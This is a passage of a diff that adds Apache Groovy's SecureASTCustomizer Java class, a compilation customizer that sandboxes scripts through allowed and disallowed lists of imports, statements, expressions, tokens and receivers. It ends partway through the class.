diff --git a/org/codehaus/groovy/control/customizers/SecureASTCustomizer.java b/org/codehaus/groovy/control/customizers/SecureASTCustomizer.java new file mode 100644 index 0000000000..811cdf17cb --- /dev/null +++ b/org/codehaus/groovy/control/customizers/SecureASTCustomizer.java @@ -0,0 +1,1566 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.codehaus.groovy.control.customizers; + +import org.codehaus.groovy.ast.ClassNode; +import org.codehaus.groovy.ast.CodeVisitorSupport; +import org.codehaus.groovy.ast.GroovyCodeVisitor; +import org.codehaus.groovy.ast.ImportNode; +import org.codehaus.groovy.ast.MethodNode; +import org.codehaus.groovy.ast.ModuleNode; +import org.codehaus.groovy.ast.expr.ArgumentListExpression; +import org.codehaus.groovy.ast.expr.ArrayExpression; +import org.codehaus.groovy.ast.expr.AttributeExpression; +import org.codehaus.groovy.ast.expr.BinaryExpression; +import org.codehaus.groovy.ast.expr.BitwiseNegationExpression; +import org.codehaus.groovy.ast.expr.BooleanExpression; +import org.codehaus.groovy.ast.expr.CastExpression; +import org.codehaus.groovy.ast.expr.ClassExpression; +import org.codehaus.groovy.ast.expr.ClosureExpression; +import org.codehaus.groovy.ast.expr.ClosureListExpression; +import org.codehaus.groovy.ast.expr.ConstantExpression; +import org.codehaus.groovy.ast.expr.ConstructorCallExpression; +import org.codehaus.groovy.ast.expr.DeclarationExpression; +import org.codehaus.groovy.ast.expr.ElvisOperatorExpression; +import org.codehaus.groovy.ast.expr.Expression; +import org.codehaus.groovy.ast.expr.FieldExpression; +import org.codehaus.groovy.ast.expr.GStringExpression; +import org.codehaus.groovy.ast.expr.LambdaExpression; +import org.codehaus.groovy.ast.expr.ListExpression; +import org.codehaus.groovy.ast.expr.MapEntryExpression; +import org.codehaus.groovy.ast.expr.MapExpression; +import org.codehaus.groovy.ast.expr.MethodCallExpression; +import org.codehaus.groovy.ast.expr.MethodPointerExpression; +import org.codehaus.groovy.ast.expr.MethodReferenceExpression; +import org.codehaus.groovy.ast.expr.NotExpression; +import org.codehaus.groovy.ast.expr.PostfixExpression; +import org.codehaus.groovy.ast.expr.PrefixExpression; +import org.codehaus.groovy.ast.expr.PropertyExpression; +import org.codehaus.groovy.ast.expr.RangeExpression; +import org.codehaus.groovy.ast.expr.SpreadExpression; +import org.codehaus.groovy.ast.expr.SpreadMapExpression; +import org.codehaus.groovy.ast.expr.StaticMethodCallExpression; +import org.codehaus.groovy.ast.expr.TernaryExpression; +import org.codehaus.groovy.ast.expr.TupleExpression; +import org.codehaus.groovy.ast.expr.UnaryMinusExpression; +import org.codehaus.groovy.ast.expr.UnaryPlusExpression; +import org.codehaus.groovy.ast.expr.VariableExpression; +import org.codehaus.groovy.ast.stmt.AssertStatement; +import org.codehaus.groovy.ast.stmt.BlockStatement; +import org.codehaus.groovy.ast.stmt.BreakStatement; +import org.codehaus.groovy.ast.stmt.CaseStatement; +import org.codehaus.groovy.ast.stmt.CatchStatement; +import org.codehaus.groovy.ast.stmt.ContinueStatement; +import org.codehaus.groovy.ast.stmt.DoWhileStatement; +import org.codehaus.groovy.ast.stmt.EmptyStatement; +import org.codehaus.groovy.ast.stmt.ExpressionStatement; +import org.codehaus.groovy.ast.stmt.ForStatement; +import org.codehaus.groovy.ast.stmt.IfStatement; +import org.codehaus.groovy.ast.stmt.ReturnStatement; +import org.codehaus.groovy.ast.stmt.Statement; +import org.codehaus.groovy.ast.stmt.SwitchStatement; +import org.codehaus.groovy.ast.stmt.SynchronizedStatement; +import org.codehaus.groovy.ast.stmt.ThrowStatement; +import org.codehaus.groovy.ast.stmt.TryCatchStatement; +import org.codehaus.groovy.ast.stmt.WhileStatement; +import org.codehaus.groovy.classgen.BytecodeExpression; +import org.codehaus.groovy.classgen.GeneratorContext; +import org.codehaus.groovy.control.CompilationFailedException; +import org.codehaus.groovy.control.CompilePhase; +import org.codehaus.groovy.control.SourceUnit; +import org.codehaus.groovy.syntax.Token; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Collections; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; + +/** + * This customizer allows securing source code by controlling what code constructs are permitted. + * This is typically done when using Groovy for its scripting or domain specific language (DSL) features. + * For example, if you only want to allow arithmetic operations in a groovy shell, + * you can configure this customizer to restrict package imports, method calls and so on. + *

+ * Most of the security customization options found in this class work with either allowed or disallowed lists. + * This means that, for a single option, you can set an allowed list OR a disallowed list, but not both. + * You can mix allowed/disallowed strategies for different options. + * For example, you can have an allowed import list and a disallowed tokens list. + *

+ * The recommended way of securing shells is to use allowed lists because it is guaranteed that future features of the + * Groovy language won't be accidentally allowed unless explicitly added to the allowed list. + * Using disallowed lists, you can limit the features of the language constructs supported by your shell by opting + * out, but new language features are then implicitly also available and this may not be desirable. + * The implication is that you might need to update your configuration with each new release. + *

+ * If neither an allowed list nor a disallowed list is set, then everything is permitted. + *

+ * Combinations of import and star import constraints are authorized as long as you use the same type of list for both. + * For example, you may use an import allowed list and a star import allowed list together, but you cannot use an import + * allowed list with a star import disallowed list. Static imports are handled separately, meaning that disallowing an + * import does not prevent from allowing a static import. + *

+ * Eventually, if the features provided here are not sufficient, you may implement custom AST filtering handlers, either + * implementing the {@link StatementChecker} interface or {@link ExpressionChecker} interface then register your + * handlers thanks to the {@link #addExpressionCheckers(ExpressionChecker...)} + * and {@link #addStatementCheckers(StatementChecker...)} + * methods. + *

+ * Here is an example of usage. We will create a groovy classloader which only supports arithmetic operations and imports + * the {@code java.lang.Math} classes by default. + * + *

+ * final ImportCustomizer imports = new ImportCustomizer().addStaticStars('java.lang.Math') // add static import of java.lang.Math
+ * final SecureASTCustomizer secure = new SecureASTCustomizer()
+ * secure.with {
+ *     closuresAllowed = false
+ *     methodDefinitionAllowed = false
+ *
+ *     allowedImports = []
+ *     allowedStaticImports = []
+ *     allowedStaticStarImports = ['java.lang.Math'] // only java.lang.Math is allowed
+ *
+ *     allowedTokens = [
+ *             PLUS,
+ *             MINUS,
+ *             MULTIPLY,
+ *             DIVIDE,
+ *             REMAINDER,
+ *             POWER,
+ *             PLUS_PLUS,
+ *             MINUS_MINUS,
+ *             COMPARE_EQUAL,
+ *             COMPARE_NOT_EQUAL,
+ *             COMPARE_LESS_THAN,
+ *             COMPARE_LESS_THAN_EQUAL,
+ *             COMPARE_GREATER_THAN,
+ *             COMPARE_GREATER_THAN_EQUAL,
+ *     ].asImmutable()
+ *
+ *     allowedConstantTypesClasses = [
+ *             Integer,
+ *             Float,
+ *             Long,
+ *             Double,
+ *             BigDecimal,
+ *             Integer.TYPE,
+ *             Long.TYPE,
+ *             Float.TYPE,
+ *             Double.TYPE
+ *     ].asImmutable()
+ *
+ *     allowedReceiversClasses = [
+ *             Math,
+ *             Integer,
+ *             Float,
+ *             Double,
+ *             Long,
+ *             BigDecimal
+ *     ].asImmutable()
+ * }
+ * CompilerConfiguration config = new CompilerConfiguration()
+ * config.addCompilationCustomizers(imports, secure)
+ * GroovyClassLoader loader = new GroovyClassLoader(this.class.classLoader, config)
+ *  
+ *

+ * Note: {@code SecureASTCustomizer} allows you to lock down the grammar of scripts but by itself isn't intended + * to be the complete solution of all security issues when running scripts on the JVM. You might also want to + * consider setting the {@code groovy.grape.enable} System property to false, augmenting use of the customizer + * with additional techniques, and following standard security principles for JVM applications. + *

+ * For more information, please read: + *

  • Improved sandboxing of Groovy scripts
  • + *
  • Oracle's Secure Coding Guidelines
  • + *
  • 10 Java security best practices
  • + *
  • Thirteen rules for developing secure Java applications
  • + *
  • 12 Java Security Best Practices
  • + * + * @since 1.8.0 + */ +public class SecureASTCustomizer extends CompilationCustomizer { + + private boolean isPackageAllowed = true; + private boolean isClosuresAllowed = true; + private boolean isMethodDefinitionAllowed = true; + + // imports + private List allowedImports; + private List disallowedImports; + + // static imports + private List allowedStaticImports; + private List disallowedStaticImports; + + // star imports + private List allowedStarImports; + private List disallowedStarImports; + + // static star imports + private List allowedStaticStarImports; + private List disallowedStaticStarImports; + + // indirect import checks + // if set to true, then security rules on imports will also be applied on classnodes. + // Direct instantiation of classes without imports will therefore also fail if this option is enabled + private boolean isIndirectImportCheckEnabled; + + // statements + private List> allowedStatements; + private List> disallowedStatements; + private final List statementCheckers = new LinkedList<>(); + + // expressions + private List> allowedExpressions; + private List> disallowedExpressions; + private final List expressionCheckers = new LinkedList<>(); + + // tokens from Types + private List allowedTokens; + private List disallowedTokens; + + // constant types + private List allowedConstantTypes; + private List disallowedConstantTypes; + + // receivers + private List allowedReceivers; + private List disallowedReceivers; + + public SecureASTCustomizer() { + super(CompilePhase.CANONICALIZATION); + } + + public boolean isMethodDefinitionAllowed() { + return isMethodDefinitionAllowed; + } + + public void setMethodDefinitionAllowed(final boolean methodDefinitionAllowed) { + isMethodDefinitionAllowed = methodDefinitionAllowed; + } + + public boolean isPackageAllowed() { + return isPackageAllowed; + } + + public boolean isClosuresAllowed() { + return isClosuresAllowed; + } + + public void setClosuresAllowed(final boolean closuresAllowed) { + isClosuresAllowed = closuresAllowed; + } + + public void setPackageAllowed(final boolean packageAllowed) { + isPackageAllowed = packageAllowed; + } + + public List getDisallowedImports() { + return disallowedImports; + } + + /** + * Legacy alias for {@link #getDisallowedImports()} + */ + @Deprecated + public List getImportsBlacklist() { + return getDisallowedImports(); + } + + public void setDisallowedImports(final List disallowedImports) { + if (allowedImports != null || allowedStarImports != null) { + throw new IllegalArgumentException("You are not allowed to set both an allowed list and a disallowed list"); + } + this.disallowedImports = disallowedImports; + } + + /** + * Legacy alias for {@link #setDisallowedImports(List)} + */ + @Deprecated + public void setImportsBlacklist(final List disallowedImports) { + setDisallowedImports(disallowedImports); + } + + public List getAllowedImports() { + return allowedImports; + } + + /** + * Legacy alias for {@link #getAllowedImports()} + */ + @Deprecated + public List getImportsWhitelist() { + return getAllowedImports(); + } + + public void setAllowedImports(final List allowedImports) { + if (disallowedImports != null || disallowedStarImports != null) { + throw new IllegalArgumentException("You are not allowed to set both an allowed list and a disallowed list"); + } + this.allowedImports = allowedImports; + } + + /** + * Legacy alias for {@link #setAllowedImports(List)} + */ + @Deprecated + public void setImportsWhitelist(final List allowedImports) { + setAllowedImports(allowedImports); + } + + public List getDisallowedStarImports() { + return disallowedStarImports; + } + + /** + * Legacy alias for {@link #getDisallowedStarImports()} + */ + @Deprecated + public List getStarImportsBlacklist() { + return getDisallowedStarImports(); + } + + public void setDisallowedStarImports(final List disallowedStarImports) { + if (allowedImports != null || allowedStarImports != null) { + throw new IllegalArgumentException("You are not allowed to set both an allowed list and a disallowed list"); + } + this.disallowedStarImports = normalizeStarImports(disallowedStarImports); + if (this.disallowedImports == null) disallowedImports = Collections.emptyList(); + } + + /** + * Legacy alias for {@link #setDisallowedStarImports(List)} + */ + @Deprecated + public void setStarImportsBlacklist(final List disallowedStarImports) { + setDisallowedStarImports(disallowedStarImports); + } + + public List getAllowedStarImports() { + return allowedStarImports; + } + + /** + * Legacy alias for {@link #getAllowedStarImports()} + */ + @Deprecated + public List getStarImportsWhitelist() { + return getAllowedStarImports(); + } + + public void setAllowedStarImports(final List allowedStarImports) { + if (disallowedImports != null || disallowedStarImports != null) { + throw new IllegalArgumentException("You are not allowed to set both an allowed list and a disallowed list"); + } + this.allowedStarImports = normalizeStarImports(allowedStarImports); + if (this.allowedImports == null) allowedImports = Collections.emptyList(); + } + + /** + * Legacy alias for {@link #setAllowedStarImports(List)} + */ + @Deprecated + public void setStarImportsWhitelist(final List allowedStarImports) { + setAllowedStarImports(allowedStarImports); + } + + private static List normalizeStarImports(List starImports) { + List result = new ArrayList<>(starImports.size()); + for (String starImport : starImports) { + if (starImport.endsWith(".*")) { + result.add(starImport); + } else if (starImport.endsWith("**")) { + result.add(starImport.replaceFirst("\\*+$", "")); + } else if (starImport.endsWith(".")) { + result.add(starImport + "*"); + } else { + result.add(starImport + ".*"); + } + } + return Collections.unmodifiableList(result); + } + + public List getDisallowedStaticImports() { + return disallowedStaticImports; + } + + /** + * Legacy alias for {@link #getDisallowedStaticImports()} + */ + @Deprecated + public List getStaticImportsBlacklist() { + return getDisallowedStaticImports(); + } + + public void setDisallowedStaticImports(final List disallowedStaticImports) { + if (allowedStaticImports != null || allowedStaticStarImports != null) { + throw new IllegalArgumentException("You are not allowed to set both an allowed list and a disallowed list"); + } + this.disallowedStaticImports = disallowedStaticImports; + } + + /** + * Legacy alias for {@link #setDisallowedStaticImports(List)} + */ + @Deprecated + public void setStaticImportsBlacklist(final List disallowedStaticImports) { + setDisallowedStaticImports(disallowedStaticImports); + } + + public List getAllowedStaticImports() { + return allowedStaticImports; + } + + /** + * Legacy alias for {@link #getAllowedStaticImports()} + */ + @Deprecated + public List getStaticImportsWhitelist() { + return getAllowedStaticImports(); + } + + public void setAllowedStaticImports(final List allowedStaticImports) { + if (disallowedStaticImports != null || disallowedStaticStarImports != null) { + throw new IllegalArgumentException("You are not allowed to set both an allowed list and a disallowed list"); + } + this.allowedStaticImports = allowedStaticImports; + } + + /** + * Legacy alias for {@link #setAllowedStaticImports(List)} + */ + @Deprecated + public void setStaticImportsWhitelist(final List allowedStaticImports) { + setAllowedStaticImports(allowedStaticImports); + } + + public List getDisallowedStaticStarImports() { + return disallowedStaticStarImports; + } + + /** + * Legacy alias for {@link #getDisallowedStaticStarImports()} + */ + @Deprecated + public List getStaticStarImportsBlacklist() { + return getDisallowedStaticStarImports(); + } + + public void setDisallowedStaticStarImports(final List disallowedStaticStarImports) { + if (allowedStaticImports != null || allowedStaticStarImports != null) { + throw new IllegalArgumentException("You are not allowed to set both an allowed list and a disallowed list"); + } + this.disallowedStaticStarImports = normalizeStarImports(disallowedStaticStarImports); + if (this.disallowedStaticImports == null) this.disallowedStaticImports = Collections.emptyList(); + } + + /** + * Legacy alias for {@link #setDisallowedStaticStarImports(List)} + */ + @Deprecated + public void setStaticStarImportsBlacklist(final List disallowedStaticStarImports) { + setDisallowedStaticStarImports(disallowedStaticStarImports); + } + + public List getAllowedStaticStarImports() { + return allowedStaticStarImports; + } + + /** + * Legacy alias for {@link #getAllowedStaticStarImports()} + */ + @Deprecated + public List getStaticStarImportsWhitelist() { + return getAllowedStaticStarImports(); + } + + public void setAllowedStaticStarImports(final List allowedStaticStarImports) { + if (disallowedStaticImports != null || disallowedStaticStarImports != null) { + throw new IllegalArgumentException("You are not allowed to set both an allowed list and a disallowed list"); + } + this.allowedStaticStarImports = normalizeStarImports(allowedStaticStarImports); + if (this.allowedStaticImports == null) this.allowedStaticImports = Collections.emptyList(); + } + + /** + * Legacy alias for {@link #setAllowedStaticStarImports(List)} + */ + @Deprecated + public void setStaticStarImportsWhitelist(final List allowedStaticStarImports) { + setAllowedStaticStarImports(allowedStaticStarImports); + } + + public List> getDisallowedExpressions() { + return disallowedExpressions; + } + + /** + * Legacy alias for {@link #getDisallowedExpressions()} + */ + @Deprecated + public List> getExpressionsBlacklist() { + return getDisallowedExpressions(); + } + + public void setDisallowedExpressions(final List> disallowedExpressions) { + if (allowedExpressions != null) { + throw new IllegalArgumentException("You are not allowed to set both an allowed list and a disallowed list"); + } + this.disallowedExpressions = disallowedExpressions; + } + + /** + * Legacy alias for {@link #setDisallowedExpressions(List)} + */ + @Deprecated + public void setExpressionsBlacklist(final List> disallowedExpressions) { + setDisallowedExpressions(disallowedExpressions); + } + + public List> getAllowedExpressions() { + return allowedExpressions; + } + + /** + * Legacy alias for {@link #getAllowedExpressions()} + */ + @Deprecated + public List> getExpressionsWhitelist() { + return getAllowedExpressions(); + } + + public void setAllowedExpressions(final List> allowedExpressions) { + if (disallowedExpressions != null) { + throw new IllegalArgumentException("You are not allowed to set both an allowed list and a disallowed list"); + } + this.allowedExpressions = allowedExpressions; + } + + /** + * Legacy alias for {@link #setAllowedExpressions(List)} + */ + @Deprecated + public void setExpressionsWhitelist(final List> allowedExpressions) { + setAllowedExpressions(allowedExpressions); + } + + public List> getDisallowedStatements() { + return disallowedStatements; + } + + /** + * Legacy alias for {@link #getDisallowedStatements()} + */ + @Deprecated + public List> getStatementsBlacklist() { + return getDisallowedStatements(); + } + + public void setDisallowedStatements(final List> disallowedStatements) { + if (allowedStatements != null) { + throw new IllegalArgumentException("You are not allowed to set both an allowed list and a disallowed list"); + } + this.disallowedStatements = disallowedStatements; + } + + /** + * Legacy alias for {@link #setDisallowedStatements(List)} + */ + @Deprecated + public void setStatementsBlacklist(final List> disallowedStatements) { + setDisallowedStatements(disallowedStatements); + } + + public List> getAllowedStatements() { + return allowedStatements; + } + + /** + * Legacy alias for {@link #getAllowedStatements()} + */ + @Deprecated + public List> getStatementsWhitelist() { + return getAllowedStatements(); + } + + public void setAllowedStatements(final List> allowedStatements) { + if (disallowedStatements != null) { + throw new IllegalArgumentException("You are not allowed to set both an allowed list and a disallowed list"); + } + this.allowedStatements = allowedStatements; + } + + /** + * Legacy alias for {@link #setAllowedStatements(List)} + */ + @Deprecated + public void setStatementsWhitelist(final List> allowedStatements) { + setAllowedStatements(allowedStatements); + } + + public boolean isIndirectImportCheckEnabled() { + return isIndirectImportCheckEnabled; + } + + /** + * Set this option to true if you want your import rules to be checked against every class node. This means that if + * someone uses a fully qualified class name, then it will also be checked against the import rules, preventing, for + * example, instantiation of classes without imports thanks to FQCN. + * + * @param indirectImportCheckEnabled set to true to enable indirect checks + */ + public void setIndirectImportCheckEnabled(final boolean indirectImportCheckEnabled) { + isIndirectImportCheckEnabled = indirectImportCheckEnabled; + } + + public List getDisallowedTokens() { + return disallowedTokens; + } + + /** + * Legacy alias for {@link #getDisallowedTokens()} + */ + @Deprecated + public List getTokensBlacklist() { + return getDisallowedTokens(); + } + + /** + * Sets the list of tokens which are not permitted. + * + * @param disallowedTokens the tokens. The values of the tokens must be those of {@link org.codehaus.groovy.syntax.Types} + */ + public void setDisallowedTokens(final List disallowedTokens) { + if (allowedTokens != null) { + throw new IllegalArgumentException("You are not allowed to set both an allowed list and a disallowed list"); + } + this.disallowedTokens = disallowedTokens; + } + + /** + * Legacy alias for {@link #setDisallowedTokens(List)}. + */ + @Deprecated + public void setTokensBlacklist(final List disallowedTokens) { + setDisallowedTokens(disallowedTokens); + } + + public List getAllowedTokens() { + return allowedTokens; + } + + /** + * Legacy alias for {@link #getAllowedTokens()} + */ + @Deprecated + public List getTokensWhitelist() { + return getAllowedTokens(); + } + + /** + * Sets the list of tokens which are permitted. + * + * @param allowedTokens the tokens. The values of the tokens must be those of {@link org.codehaus.groovy.syntax.Types} + */ + public void setAllowedTokens(final List allowedTokens) { + if (disallowedTokens != null) { + throw new IllegalArgumentException("You are not allowed to set both an allowed list and a disallowed list"); + } + this.allowedTokens = allowedTokens; + } + + /** + * Legacy alias for {@link #setAllowedTokens(List)} + */ + @Deprecated + public void setTokensWhitelist(final List allowedTokens) { + setAllowedTokens(allowedTokens); + } + + public void addStatementCheckers(StatementChecker... checkers) { + statementCheckers.addAll(Arrays.asList(checkers)); + } + + public void addExpressionCheckers(ExpressionChecker... checkers) { + expressionCheckers.addAll(Arrays.asList(checkers)); + } + + public List getDisallowedConstantTypes() { + return disallowedConstantTypes; + } + + /** + * Legacy alias for {@link #getDisallowedConstantTypes()} + */ + @Deprecated + public List getConstantTypesBlackList() { + return getDisallowedConstantTypes(); + } + + public void setConstantTypesBlackList(final List constantTypesBlackList) { + if (allowedConstantTypes != null) { + throw new IllegalArgumentException("You are not allowed to set both an allowed list and a disallowed list"); + } + this.disallowedConstantTypes = constantTypesBlackList; + } + + public List getAllowedConstantTypes() { + return allowedConstantTypes; + } + + /** + * Legacy alias for {@link #getAllowedStatements()} + */ + @Deprecated + public List getConstantTypesWhiteList() { + return getAllowedConstantTypes(); + } + + public void setAllowedConstantTypes(final List allowedConstantTypes) { + if (disallowedConstantTypes != null) { + throw new IllegalArgumentException("You are not allowed to set both an allowed list and a disallowed list"); + } + this.allowedConstantTypes = allowedConstantTypes; + } + + /** + * Legacy alias for {@link #setAllowedConstantTypes(List)} + */ + @Deprecated + public void setConstantTypesWhiteList(final List allowedConstantTypes) { + setAllowedConstantTypes(allowedConstantTypes); + } + + /** + * An alternative way of setting constant types. + * + * @param allowedConstantTypes a list of classes. + */ + public void setAllowedConstantTypesClasses(final List allowedConstantTypes) { + List values = new LinkedList<>(); + for (Class aClass : allowedConstantTypes) { + values.add(aClass.getName()); + } + setConstantTypesWhiteList(values); + } + + /** + * Legacy alias for {@link #setAllowedConstantTypesClasses(List)} + */ + @Deprecated + public void setConstantTypesClassesWhiteList(final List allowedConstantTypes) { + setAllowedConstantTypesClasses(allowedConstantTypes); + } + + /** + * An alternative way of setting constant types. + * + * @param disallowedConstantTypes a list of classes. + */ + public void setDisallowedConstantTypesClasses(final List disallowedConstantTypes) { + List values = new LinkedList<>(); + for (Class aClass : disallowedConstantTypes) { + values.add(aClass.getName()); + } + setConstantTypesBlackList(values); + } + + /** + * Legacy alias for {@link #setDisallowedConstantTypesClasses(List)} + */ + @Deprecated + public void setConstantTypesClassesBlackList(final List disallowedConstantTypes) { + setDisallowedConstantTypesClasses(disallowedConstantTypes); + } + + public List getDisallowedReceivers() { + return disallowedReceivers; + } + + /** + * Legacy alias for {@link #getDisallowedReceivers()} + */ + @Deprecated + public List getReceiversBlackList() { + return getDisallowedReceivers(); + } + + /** + * Sets the list of classes which deny method calls. + * + * Please note that since Groovy is a dynamic language, and + * this class performs a static type check, it will be relatively + * simple to bypass any disallowed list unless the disallowed receivers list contains, at + * a minimum, Object, Script, GroovyShell, and Eval. Additionally, + * it is necessary to also have MethodPointerExpression in the + * disallowed expressions list for the disallowed receivers list to function + * as a security check. + * + * @param disallowedReceivers the list of refused classes, as fully qualified names + */ + public void setDisallowedReceivers(final List disallowedReceivers) { + if (allowedReceivers != null) { + throw new IllegalArgumentException("You are not allowed to set both an allowed list and a disallowed list"); + } + this.disallowedReceivers = disallowedReceivers; + } + + /** + * Legacy alias for {@link #setDisallowedReceivers(List)} + */ + @Deprecated + public void setReceiversBlackList(final List disallowedReceivers) { + setDisallowedReceivers(disallowedReceivers); + } + + /** + * An alternative way of setting {@link #setDisallowedReceivers(java.util.List) receiver classes}. + * + * @param disallowedReceivers a list of classes. + */ + public void setDisallowedReceiversClasses(final List disallowedReceivers) { + List values = new LinkedList<>(); + for (Class aClass : disallowedReceivers) { + values.add(aClass.getName()); + } + setReceiversBlackList(values); + } + + /** + * Legacy alias for {@link #setDisallowedReceiversClasses(List)}. + */ + @Deprecated + public void setReceiversClassesBlackList(final List disallowedReceivers) { + setDisallowedReceiversClasses(disallowedReceivers); + } + + public List getAllowedReceivers() { + return allowedReceivers; + } + + /** + * Legacy alias for {@link #getAllowedReceivers()} + */ + @Deprecated + public List getReceiversWhiteList() { + return getAllowedReceivers(); + } + + /** + * Sets the list of classes which may accept method calls. + * + * @param allowedReceivers the list of accepted classes, as fully qualified names + */ + public void setAllowedReceivers(final List allowedReceivers) { + if (disallowedReceivers != null) { + throw new IllegalArgumentException("You are not allowed to set both an allowed list and a disallowed list"); + } + this.allowedReceivers = allowedReceivers; + } + + /** + * Legacy alias for {@link #setAllowedReceivers(List)} + */ + @Deprecated + public void setReceiversWhiteList(final List allowedReceivers) { + if (disallowedReceivers != null) { + throw new IllegalArgumentException("You are not allowed to set both an allowed list and a disallowed list"); + } + this.allowedReceivers = allowedReceivers; + } + + /** + * An alternative way of setting {@link #setReceiversWhiteList(java.util.List) receiver classes}. + * + * @param allowedReceivers a list of classes. + */ + public void setAllowedReceiversClasses(final List allowedReceivers) { + List values = new LinkedList<>(); + for (Class aClass : allowedReceivers) { + values.add(aClass.getName()); + } + setReceiversWhiteList(values); + } + + /** + * Legacy alias for {@link #setAllowedReceiversClasses(List)} + */ + @Deprecated + public void setReceiversClassesWhiteList(final List allowedReceivers) { + setAllowedReceiversClasses(allowedReceivers); + } + + @Override + public void call(final SourceUnit source, final GeneratorContext context, final ClassNode classNode) throws CompilationFailedException { + ModuleNode ast = source.getAST(); + if (!isPackageAllowed && ast.getPackage() != null) { + throw new SecurityException("Package definitions are not allowed"); + } + checkMethodDefinitionAllowed(classNode); + + // verify imports + if (disallowedImports != null || allowedImports != null || disallowedStarImports != null || allowedStarImports != null) { + for (ImportNode importNode : ast.getImports()) { + assertImportIsAllowed(importNode.getClassName()); + } + for (ImportNode importNode : ast.getStarImports()) { + assertStarImportIsAllowed(importNode.getPackageName() + "*"); + } + } + + // verify static imports + if (disallowedStaticImports != null || allowedStaticImports != null || disallowedStaticStarImports != null || allowedStaticStarImports != null) { + for (Map.Entry entry : ast.getStaticImports().entrySet()) { + final String className = entry.getValue().getClassName(); + assertStaticImportIsAllowed(entry.getKey(), className); + } + for (Map.Entry entry : ast.getStaticStarImports().entrySet()) { + final String className = entry.getValue().getClassName(); + assertStaticImportIsAllowed(entry.getKey(), className); + } + } + + GroovyCodeVisitor visitor = createGroovyCodeVisitor(); + ast.getStatementBlock().visit(visitor); + for (ClassNode clNode : ast.getClasses()) { + if (clNode!=classNode) { + checkMethodDefinitionAllowed(clNode); + for (MethodNode methodNode : clNode.getMethods()) { + if (!methodNode.isSynthetic() && methodNode.getCode() != null) { + methodNode.getCode().visit(visitor); + } + } + } + } + + List methods = filterMethods(classNode); + if (isMethodDefinitionAllowed) { + for (MethodNode method : methods) { + if (method.getDeclaringClass() == classNode && method.getCode() != null) { + method.getCode().visit(visitor); + } + } + } + } + + protected GroovyCodeVisitor createGroovyCodeVisitor() { + return new SecuringCodeVisitor(); + } + + protected void checkMethodDefinitionAllowed(ClassNode owner) { + if (isMethodDefinitionAllowed) return; + List methods = filterMethods(owner); + if (!methods.isEmpty()) throw new SecurityException("Method definitions are not allowed"); + } + + protected static List filterMethods(ClassNode owner) { + List result = new LinkedList<>(); + List methods = owner.getMethods(); + for (MethodNode method : methods) { + if (method.getDeclaringClass() == owner && !method.isSynthetic()) { + if (("main".equals(method.getName()) || "run".equals(method.getName())) && method.isScriptBody()) continue; + result.add(method); + } + } + return result; + } + + protected void assertStarImportIsAllowed(final String packageName) { + if (allowedStarImports != null && !(allowedStarImports.contains(packageName) + || allowedStarImports.stream().filter(it -> it.endsWith(".")).anyMatch(packageName::startsWith))) { + throw new SecurityException("Importing [" + packageName + "] is not allowed"); + } + if (disallowedStarImports != null && (disallowedStarImports.contains(packageName) + || disallowedStarImports.stream().filter(it -> it.endsWith(".")).anyMatch(packageName::startsWith))) { + throw new SecurityException("Importing [" + packageName + "] is not allowed"); + } + } + + protected void assertImportIsAllowed(final String className) { + if (allowedImports != null || allowedStarImports != null) { + if (allowedImports != null && allowedImports.contains(className)) { + return; + } + if (allowedStarImports != null) { + String packageName = getWildCardImport(className); + if (allowedStarImports.contains(packageName) + || allowedStarImports.stream().filter(it -> it.endsWith(".")).anyMatch(packageName::startsWith)) { + return; + } + } + throw new SecurityException("Importing [" + className + "] is not allowed"); + } else { + if (disallowedImports != null && disallowedImports.contains(className)) { + throw new SecurityException("Importing [" + className + "] is not allowed"); + } + if (disallowedStarImports != null) { + String packageName = getWildCardImport(className); + if (disallowedStarImports.contains(packageName) || + disallowedStarImports.stream().filter(it -> it.endsWith(".")).anyMatch(packageName::startsWith)) { + throw new SecurityException("Importing [" + className + "] is not allowed"); + } + } + } + } + + private String getWildCardImport(String className) { + return className.substring(0, className.lastIndexOf('.') + 1) + "*"; + } + + protected void assertStaticImportIsAllowed(final String member, final String className) { + final String fqn = className.equals(member) ? className : className + "." + member; + if (allowedStaticImports != null && !allowedStaticImports.contains(fqn)) { + if (allowedStaticStarImports != null) { + // we should now check if the import is in the star imports + String packageName = getWildCardImport(className); + if (!allowedStaticStarImports.contains(className + ".*") + && allowedStaticStarImports.stream().filter(it -> it.endsWith(".")).noneMatch(packageName::startsWith)) { + throw new SecurityException("Importing [" + fqn + "] is not allowed"); + } + } else { + throw new SecurityException("Importing [" + fqn + "] is not allowed"); + } + } + if (disallowedStaticImports != null && disallowedStaticImports.contains(fqn)) { + throw new SecurityException("Importing [" + fqn + "] is not allowed"); + } + // check that there's no star import blacklist + if (disallowedStaticStarImports != null) { + String packageName = getWildCardImport(className); + if (disallowedStaticStarImports.contains(className + ".*") + || disallowedStaticStarImports.stream().filter(it -> it.endsWith(".")).anyMatch(packageName::startsWith)) { + throw new SecurityException("Importing [" + fqn + "] is not allowed"); + } + } + } + + /** + * This visitor directly implements the {@link GroovyCodeVisitor} interface instead of using the {@link + * CodeVisitorSupport} class to make sure that future features of the language gets managed by this visitor. Thus, + * adding a new feature would result in a compilation error if this visitor is not updated. + */ + protected class SecuringCodeVisitor implements GroovyCodeVisitor { + + /** + * Checks that a given statement is either in the allowed list or not in the disallowed list. + * + * @param statement the statement to be checked + * @throws SecurityException if usage of this statement class is forbidden + */ + protected void assertStatementAuthorized(final Statement statement) throws SecurityException { + final Class clazz = statement.getClass(); + if (disallowedStatements != null && disallowedStatements.contains(clazz)) { + throw new SecurityException(clazz.getSimpleName() + "s are not allowed"); + } else if (allowedStatements != null && !allowedStatements.contains(clazz)) { + throw new SecurityException(clazz.getSimpleName() + "s are not allowed"); + } + for (StatementChecker statementChecker : statementCheckers) { + if (!statementChecker.isAuthorized(statement)) { + throw new SecurityException("Statement [" + clazz.getSimpleName() + "] is not allowed"); + } + } + } + + /** + * Checks that a given expression is either in the allowed list or not in the disallowed list. + * + * @param expression the expression to be checked 